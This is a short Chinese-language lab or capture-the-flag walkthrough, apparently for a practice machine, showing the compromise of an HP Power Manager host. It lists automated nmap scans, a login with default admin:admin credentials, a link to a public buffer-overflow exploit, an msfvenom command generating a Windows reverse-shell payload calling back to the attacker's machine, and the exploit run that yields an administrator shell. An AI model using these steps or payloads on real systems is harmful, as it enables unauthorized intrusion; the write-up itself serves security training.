先來看看這個主機開了什麼樣的服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.248.45 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.248.45 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.248.45 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.248.45 -type recon;
看來 Port 80 上面有一個登入的頁面叫做 HP power manager
http://kevin/index.asp
我們試著用了預設的帳號密碼 admin: admin 竟然可以登入
我們在 GitHub 上找到了一個針對這個 HP power manager 寫出來的 exploit code
看起來這個弱點是跟 buffer overflow 有關的
https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3/blob/master/hp_pm_exploit_p3.py
因為這邊必須先置換成我們的 Kali IP 跟 Port 會使用的 binary code 到這個 exploit code 裡面
而這個 exploit code 裡面有提示我們要如何下指令
msfvenom -p windows/shell_reverse_tcp LHOST=$myIP LPORT=4411 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alpha_mixed --platform windows -f python
用 msfvenom 產生的 binary code 會大有 b 這個符號 但是 sample code 並沒有這個 b 所以我們必須要把這個 b 拿掉
這邊我會用 Note++ 去完成這件事情
在 Note++ 裡面如果按著 ALT 我們就可以去垂直選擇想要的區域
改好我們的 exploit code 以後就是執行的時間了
非常幸運的是 一旦拿到這個 reverse shell 我們就是 administrator 的身份
可以拿 flag 了!
python3 hp_pm_exploit_p3_mod.py $tIP 80 4411
type proof.txt
收工收工~